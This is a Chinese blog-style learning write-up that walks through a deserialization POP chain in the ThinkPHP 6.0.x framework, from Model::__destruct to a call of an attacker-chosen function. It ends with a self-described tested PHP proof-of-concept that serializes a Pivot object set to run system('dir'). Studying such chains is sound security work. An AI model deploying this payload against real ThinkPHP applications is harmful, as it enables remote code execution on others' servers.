thinkphp6.0.x 反序列化详记(一)
前言
这几天算是进阶到框架类漏洞的学习了,首当其冲想到是thinkphp,先拿thinkphp6.0.x来学习一下,体验一下寻找pop链的快乐。
在此感谢楷师傅的帮忙~
环境配置
用composer指令安装:
composer create-project topthink/think tp
修改入口Index:/app/controller/index.php
<?php
namespace app\controller;
class Index
{
public function index($input='')
{
echo $input;
unserialize($input);
}
}
目的:假设现实中在入口文件中存在直接反序列化点,且参数可控:unserialize($_GET['input'])
。
构造pop链
寻找__destruct方法
首先一般先寻找__destruct
魔法函数,在Model
类(vendor/topthink/think-orm/src/Model.php)
:
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
可以得到第一个条件:当$this->lazySave==True
时,可以执行$this->save()
。
跟进save方法
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) {
return false;
}
// 写入回调
$this->trigger('AfterWrite');
// 重新记录原始数据
$this->origin = $this->data;
$this->set = [];
$this->lazySave = false;
return true;
}
首先要绕过if判断,否则无法执行后面的代码:
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
也即需要两个条件:
$this->isEmpty()==false
$this->trigger('BeforeWrite')==true
其中isEmpty():
public function isEmpty(): bool
{
return empty($this->data);
}
因此必须有$this->data!=null
才可以满足第一个条件。
再看trigger('BeforeWrite')
,位于ModelEvent
类中:
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
.....
}
因此必须有$this->withEvent==false
才可以满足第二个条件,但是我们也可以选择不管,让$this->withEvent==null
也可以满足。
满足两个条件后绕过if判断,接着关注到:
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
通过判断$this->exists
布尔值来选择执行updateData()
或者insertData()
,所以先看看这两个方法哪一个可以利用。
分别跟进这两个方法,发现updateData方法可以继续利用。
跟进updateData方法
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
.....
}
if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
// 自动写入更新时间
.....
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
发现能够执行$this->checkAllowFields()
,但是需要绕过前面的两个if判断,必须满足两个条件:
$this->trigger('BeforeUpdate')==true
,在前面的$this->withEvent==true
已经可以满足。$data!=null
为了满足第二个条件,要寻找$data的来源:
$data = $this->getChangedData();
回溯到getChangedData()
方法:
public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}
return is_object($a) || $a != $b ? 1 : 0;
});
// 只读字段不允许更新
foreach ($this->readonly as $key => $field) {
if (isset($data[$field])) {
unset($data[$field]);
}
}
return $data;
}
由于$this->force
默认为null
,因此会执行冒号的后部分:
array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}
return is_object($a) || $a != $b ? 1 : 0;
})
由于$this->data
和$this->origin
也默认为null
,所以不符合第一个if
判断,最终`$data=0,也即满足前面所提的第二个条件。
另外也可以通过外加使$this->force!=null
,这样就会使$data=$this->data
,此时再外加使$this->data!=null
也同样可以满足第二条件了。
满足两个条件后跟进到$this->checkAllowFields()
。
跟进checkAllowFields方法
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table);
}
return $this->field;
}
$field = $this->field;
if ($this->autoWriteTimestamp) {
array_push($field, $this->createTime, $this->updateTime);
}
if (!empty($this->disuse)) {
// 废弃字段
$field = array_diff($field, $this->disuse);
}
return $field;
}
这里发现了字符串拼接$this->table . $this->suffix
,只要有一个变量为对象即可触发该类的__toString
魔法函数。但在此之前先关注拼接前做了什么。
很明显必须使$this->field=null
和$this->schema=null
才会执行else
步骤。这两个条件默认都满足,那么继续看$this->db()
这个方法。
跟进db方法
public function db($scope = []): Query
{
/** @var Query $query */
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);
if (!empty($this->table)) {
$query->table($this->table . $this->suffix);
}
.....
// 返回当前模型的数据库查询对象
return $query;
}
由于$this->table
默认为null
,因此可以发现db方法也存在$this->table . $this->suffix
参数的拼接,也可以触发__toString
。
到此为止可以知道必须要有两个外加条件:
$this->exists = true;
$this->$lazySave = true;
//$this->$withEvent = false; //可有可无
寻找__toString触发点
在另外一个类Conversion
中(vendor/topthink/think-orm/src/model/concern/Conversion.php)
,存在__toString
魔法函数:
public function __toString()
{
return $this->toJson();
}
跟进toJson方法
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}
跟进toArray方法
public function toArray(): array
{
$item = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {...}
foreach ($this->hidden as $key => $val) {...}
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
....
}
我们要执行的是后面的倒数第二个getAttr
方法。
来看看触发条件:
$this->visible[$key]
存在,即$this->visible
存在键名为$key
的键,而$key
则来源于$data
的键名,$data
则来源于$this->data
,也就是说$this->data
和$this->visible
要有相同的键名$key
。
然后把$key
做为参数传入getAttr
方法。
跟进getAttr方法
位于Attribute
类(vendor/topthink/think-orm/src/model/concern/Attribute.php)
中:
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}
return $this->getValue($name, $value, $relation);
}
首先将$key
传入getData
方法,继续跟进getData
方法。
跟进getData方法
public function getData(string $name = null)
{
if (is_null($name)) {
return $this->data;
}
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($fieldName, $this->relation)) {
return $this->relation[$fieldName];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
跟进getRealFieldName方法
protected function getRealFieldName(string $name): string
{
return $this->strict ? $name : Str::snake($name);
}
当$this->strict
为true
时直接返回$name
,即$key
回到上面的getData
方法,此时$fieldName = $key
,进入判断语句:
if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
}
返回$this->data[$key]
,记为$value
,再回到上上面的getAttr
方法:
return $this->getValue($name, $value, $relation);
也即:
$this->getValue($key, $value, null);
跟进getValue方法
protected function getValue(string $name, $value, $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
}
.....
关注到倒数的关键语句:
$value = $closure($value, $this->data);
让$closure
作为我们想要执行的函数名,$value
和$this->data
为参数即可实现任意函数执行。
所以想办法让程序往这个方向执行,首先\(this->getRealFieldName(\)name),跟进getRealFieldName方法:
protected function getRealFieldName(string $name): string
{
return $this->strict ? $name : Str::snake($name);
}
因此应该使$this->strict==true
,这样不影响$name
,再回到getValue
方法。
$method
不影响后面过程没必要关注,进入if判断$this->withAttr[$fieldName]
是否有定义,因此我们必须外加$this->withAttr
,具体的值继续往下看。
接下去对$relation
的if
判断不用管,关注最后的if
判断:
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
}
目标是执行else
的代码,由于是且判断,因此只需is_array($this->withAttr[$fieldName])==false
,那么让$this->withAttr[$fieldName]=null
就可以了。
最后一个赋值语句,我们可以通过 $this->withAttr[$fieldName]
控制想要执行的函数的名称:
$closure = $this->withAttr[$fieldName];
至此pop链找到了,总结后半部分需要的外加条件:
$this->table = new think\model\Pivot();
$this->data = ["key"=>$command]; //要传入的参数
$this->visible = ["key"=>1];
$this->withAttr = ["key"=>$function]; //要执行的函数名称
$this->$strict = true;
POP预览流程
借用Somnus师傅的图:
触发__toString之前:
触发__toString之后:
POC代码
果然开发能力还是太菜了,debug了很久才写出来,亲测有效:
<?php
namespace think;
abstract class Model{
use model\concern\Attribute;
private $lazySave=false;
private $exists = true;
private $data=[];
function __construct($obj){
$this->lazySave=true;
$this->exists=true;
$this->data=['key'=>'dir'];
$this->table=$obj;
$this->strict=true;
$this->visible = ["key"=>1];
}
}
namespace think\model\concern;
trait Attribute{
private $withAttr = ["key" => "system"];
}
namespace think\model;
use think\Model;
class Pivot extends Model{
function __construct($obj){
parent::__construct($obj);
}
}
$obj1=new Pivot(null);
echo urlencode(serialize(new Pivot($obj1)));
结果:
楷师傅的POC,还没试过。
还有知识星球dalao自动生成payload的程序,详见安全客文章